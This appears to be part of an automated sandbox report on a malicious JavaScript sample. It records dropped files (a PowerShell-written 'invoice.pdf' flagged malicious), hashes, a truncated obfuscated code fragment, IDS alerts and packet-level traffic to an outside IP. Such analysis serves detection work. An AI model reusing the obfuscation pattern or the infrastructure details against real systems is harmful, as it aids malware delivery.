Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f37658b2-02a4-4ec8-8629-8b2f2c55362b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17254), with CRLF line terminators
Entropy (8bit):	4.923126768685481
TrID:
File name:	125141699249677575.js
File size:	20'932 bytes
MD5:	c0309faa01e29a9517f4d10dec9ca866
SHA1:	2f55e9aa19a5014346cbdac4eaf0fb3b7c5eafaa
SHA256:	2fc7a2167f399522c28f30a4bfd02966c904eff8c585eb57ab1dd80ae08fa087
SHA512:	54e22da35d1d25c54a45251d2133b8fbec1ca16edb8d66322d6ce5ea72ae799953a767b3adfecb7b7bb8995f42fc74a67cf94a8ef9043ee8fd63520a48bffa0c
SSDEEP:	384:zdRV1I111sI111sGeXLAjNbNcjw6pGEOd53ZaS:RfO111B111sGeXLAdaTpGGS
TLSH:	DC926674C212DAC2DCD516F4A26F6AF22139DB98035C2689684A48C91873FFD67ECDF4
File Content Preview:	function yjjathv(){zmcqmy=[1031,3079,5127,4103,2055,3072];var zuacuyu=this[lgsyoxqpd+wutbg+isutu+ylpfuwgxj+fbcynjlrb+wzdvnx+mqbbeit+yvoohqnq](this[houawzv+mzpjjo+sewzoqb+isutu+qonasw+lgsyoxqpd+yvoohqnq][fhbmm+isutu+fbcynjlrb+wutbg+yvoohqnq+fbcynjlrb+zclrk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:26:26.706769+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T19:26:29.532091+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:26:25.905961037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:25.910804033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:25.910890102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:25.914048910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:25.918883085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706660032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706677914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706695080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706768990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.706795931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706823111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706836939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706852913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706856012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.706883907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.706897020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706912041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706931114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.706940889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.706976891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.711684942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.758306980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.758327961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.758447886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.832048893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832076073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832128048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832154989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.832215071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832231998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832247019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832269907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.832288980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.832670927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832690954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832772970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.832885027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832901955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832928896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.832933903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.832946062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.833050013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.833475113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.833499908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.833529949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.833537102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.833543062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.833554983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.833586931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.834297895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.834331036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.834345102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.834357023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.834374905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.834397078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.834445953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.834490061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.835144997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.884363890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.889698029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.924252033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.924287081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.924304962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.924465895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.957278013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957293987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957309961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957334995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957351923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957361937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.957381964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957396030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.957398891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957416058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.957427979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.957461119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.958058119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958112955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958128929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958143950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958157063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.958158016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958177090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958184958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.958236933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.958667040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958748102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958764076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958780050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958796978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958796024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.958815098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958821058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.958832979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.958873034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.959559917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959575891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959603071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959606886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.959620953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959646940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.959881067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959897995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959923029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.959923983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959940910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959959984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959969044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.959969044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.959986925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960001945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960020065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.960057974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.960774899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960789919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960817099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960817099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.960834980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960851908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960860968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.960867882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960886002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.960896015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.960932970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.965750933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.965769053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.965785027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.965810061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:26.976423979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.976454020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:26.976478100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.011061907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.011080980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.011142015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.049745083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.049774885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.049792051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.049815893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.049891949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.049909115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.049926043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.049937010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.049974918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.082895994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.082912922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.082931042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.082974911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.082978010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083018064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083039045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083055019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083070040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083100080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083219051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083235025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083250999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083261013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083266020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083287954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083401918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083431005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083446026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083447933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083488941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083498001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083623886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083688974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083705902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083714962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083738089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083739042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083755970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083801985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083822012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083827972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083846092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083870888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083872080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.083889961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.083908081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.084337950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084367037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084384918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084392071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.084423065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.084443092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084459066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084475994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084501028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.084510088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084532976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084553003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.084872961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084916115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.084964991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084980965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.084996939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085011959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085022926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.085073948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.085086107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085102081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085120916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085129023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085135937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085140944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085143089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.085148096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085155964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085166931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.085203886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.085855007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085937023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085951090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085968018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.085969925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.085985899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086007118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086008072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086045980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086107016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086123943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086142063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086148977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086163998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086179018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086179972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086190939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086214066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086267948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086864948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086879015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086904049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086919069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086931944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086935043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086941957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.086952925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.086971045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.087043047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087069988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087084055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087089062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:26:27.087102890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087119102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:26:27.087127924 CET	49704	80	192.168.2.5	193.143.1.205
